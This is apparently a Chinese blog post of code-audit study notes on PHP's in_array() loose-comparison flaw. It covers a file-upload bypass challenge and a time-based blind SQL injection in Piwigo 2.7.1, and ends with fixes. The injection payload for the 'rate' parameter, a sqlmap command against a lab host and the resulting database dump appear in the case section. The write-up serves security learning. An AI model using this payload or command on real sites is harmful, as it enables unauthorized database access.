代碼審計學習01-in_array() 函數缺陷
一、開始代碼審計之旅 01
從今天起,學習代碼審計了,這篇文章就叫代碼審計01吧,題目來自 PHP SECURITY CALENDAR 2017 的第一題,結合 紅日安全 寫的文章,開始吧。
二、先看這道題目
1、題目名稱:Wish List
2、in_array() 函數的作用
in_array() 函數的作用是判斷第一參數是否存在第二個參數中,存在返回 true,不存在返回 false。需要註意的是,如果函數第三個參數為 true,則第一個參數必須還要和第二個參數同類型,函數才能返回 true。不寫第三個參數,在一些情況下函數會發生強制轉換,題目的漏洞就出在這裏。
3、題目漏洞解析
if (in_array($this->file[‘name‘], $this->whitelist)) { move_uploaded_file($this->file[‘tmp_name‘], self::UPLOAD_DIRECTORY . $this->file[‘name‘]); }
in_array() 函數並只簡單判斷文件名是否存在白名單中,並沒有將第三個參數設置為 true,攻擊者可以上傳一個 5backdoor.php
的文件,其文件名為 5backdoor
,in_array() 函數將文件名強制轉換為 5
,符合 ranger(1,24) 的白名單條件,5backdoor.php
可以上傳,於是一個任意文件上傳漏洞就產生了。
4、in_array() 的擴展知識
in_array 的一段代碼,可以明確看到非嚴格模式與嚴格模式下的區別:
<?php $array = array( ‘egg‘ => true, ‘cheese‘ => false, ‘hair‘ => 765, ‘goblins‘ => null, ‘ogres‘ => ‘no ogres allowed in this array‘ ); // Loose checking -- return values are in comments // First three make sense, last four do not var_dump(in_array(null, $array)); // true var_dump(in_array(false, $array)); // true var_dump(in_array(765, $array)); // true var_dump(in_array(763, $array)); // true var_dump(in_array(‘egg‘, $array)); // true var_dump(in_array(‘hhh‘, $array)); // true var_dump(in_array(array(), $array)); // true // Strict checking var_dump(in_array(null, $array, true)); // true var_dump(in_array(false, $array, true)); // true var_dump(in_array(765, $array, true)); // true var_dump(in_array(763, $array, true)); // false var_dump(in_array(‘egg‘, $array, true)); // false var_dump(in_array(‘hhh‘, $array, true)); // false var_dump(in_array(array(), $array, true)); // false ?>
三、結合一個案例
選取 piwigo2.7.1
內容管理系統的一個 SQL 註入漏洞來分析
1、漏洞原理分析
漏洞涉及文件:include/functions_rate.inc.php
,include/config_default.inc.php
,以及根目錄下的picture.php
。
picture.php
關鍵代碼:
if (isset($_GET[‘action‘])) { switch ($_GET[‘action‘]) /*****************中間省略*********************/ case ‘rate‘ : { include_once(PHPWG_ROOT_PATH.‘include/functions_rate.inc.php‘); rate_picture($page[‘image_id‘], $_POST[‘rate‘]); redirect($url_self); } /*****************中間省略*********************/ }
include/functions_rate.inc.php
關鍵代碼
function rate_picture($image_id, $rate)
{
global $conf, $user;
if (!isset($rate)
or !$conf[‘rate‘]
or !in_array($rate, $conf[‘rate_items‘]))
{
return false;
}
/*****************中間省略*********************/
if ($user_anonymous)
{
$query.= ‘ AND anonymous_id = \‘‘.$anonymous_id.‘\‘‘;
}
pwg_query($query);
$query = ‘
INSERT
INTO ‘.RATE_TABLE.‘
(user_id,anonymous_id,element_id,rate,date)
VALUES
(‘
.$user[‘id‘].‘,‘
.‘\‘‘.$anonymous_id.‘\‘,‘
.$image_id.‘,‘
.$rate
.‘,NOW())
;‘;
pwg_query($query);
return update_rating_score($image_id);
}
include/config_default.inc.php
關鍵代碼
$conf[‘rate_items‘] = array(0,1,2,3,4,5);
通過上述代碼分析,當參數 action=rate時會調用 include/functions_rate.inc.php
的 rate_picture($image_id, $rate)
函數,由於函數中的 in_array($rate, $conf[‘rate_items‘]))
沒有將第三個參數設置因為 true,檢查不嚴格,導致變量 $rate
變量可控,將 $rate
設置為 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
那麽 SQL 語句就會變成:
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date)
VALUES (2,‘192.168.2‘,1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
基於時間的 SQL 盲註就產生了。
2、漏洞證明
用 SQL 註入工具 sqlmap 證明漏洞,payload 如下:
python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch
漏洞驗證返回結果:
[20:45:34] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to ‘http://192.168.203.131:80/piwigo/picture.php?/1/category/1‘. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: rate (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: rate=1 AND SLEEP(5)
---
[20:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[20:45:37] [INFO] fetching database names
[20:45:37] [INFO] fetching number of databases
[20:45:37] [INFO] resumed: 5
[20:45:37] [INFO] resumed: information_schema
[20:45:37] [INFO] resumed: mysq
[20:45:37] [INFO] resumed: mysql
[20:45:37] [INFO] resumed: performance_schema
[20:45:37] [INFO] resumed: piwigo271
available databases [5]:
[*] information_schema
[*] mysq
[*] mysql
[*] performance_schema
[*] piwigo271
3、修復建議
方法1:將 in_array() 函數的第三個參數設置為 true;
方法2:使用 intval() 函數將變量將轉為數字;
方法3:使用正則表達式過濾,只限制為數字(官方修改是用這種方法)。
四、學習一道同類型的 CTF 題目
五、個人收獲
六、參考文章
代碼審計學習01-in_array() 函數缺陷